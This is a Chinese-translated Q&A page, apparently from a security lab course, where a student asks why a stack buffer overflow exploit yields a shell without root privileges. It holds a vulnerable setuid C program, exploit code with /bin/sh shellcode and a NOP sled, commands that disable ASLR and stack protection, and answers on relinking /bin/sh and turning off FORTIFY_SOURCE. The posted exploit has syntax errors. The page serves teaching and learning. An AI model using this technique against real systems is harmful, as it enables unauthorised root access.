-->

缓冲区溢出漏洞实验室问题(Buffer Overflow Vulnerability Lab pro

2019-09-28 00:01发布

我有我被困在一个实验室的任务。 基本上,我必须采取缓冲区溢出的优点产生具有根特权的壳。 我必须使用2个独立的.c文件。 这是第一个:stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];

    //BO Vulnerability
    strcpy(buffer,str);

    return 1;
}

int main(int argc, char* argv[])
{
    char str[517];

    FILE *badfile;
    badfile = fopen("badfile","r");

    fread(str, sizeof(char),517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

这是第二个:exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */
;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

我只能修改第二个。 下面是我所做的更改:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}

然后我执行从以下命令行

$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

然而,尽管它确实产生了“BADFILE”与实际数据和外壳,所述外壳不仅具有基本的用户权限。 在此之前,我做了根执行以下命令:

echo 0 > /proc/sys/kernel/randomize_va_space

该实验室说,我不是需要root来执行以下命令:

sysctl -w kernel.randomize_va_space=0

但是,如果我这样做,那么当我执行“堆栈”,我得到一个“非法指令”的错误。 有人可以帮助我走出这一个?

Answer 1:

我想通了什么问题了。 我不得不zsh的链接为/ bin / bash的/。 我跳过了,因为我想我只有这样做,如果我使用的Fedora。 我使用Ubuntu。



Answer 2:

 strcpy(buffer, str); 

你们中的一个将需要在测试期间解决的事情是这样的函数调用。

FORTIFY_SOURCE使用的类似高风险的功能“更安全”变种memcpystrcpy 。 编译器使用更安全的变体时,它可以推导出目标缓冲区的大小。 如果拷贝将超过目标缓冲区的大小,那么程序调用abort()

要为您的测试禁用FORTIFY_SOURCE,你应该编译程序-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0



文章来源: Buffer Overflow Vulnerability Lab problems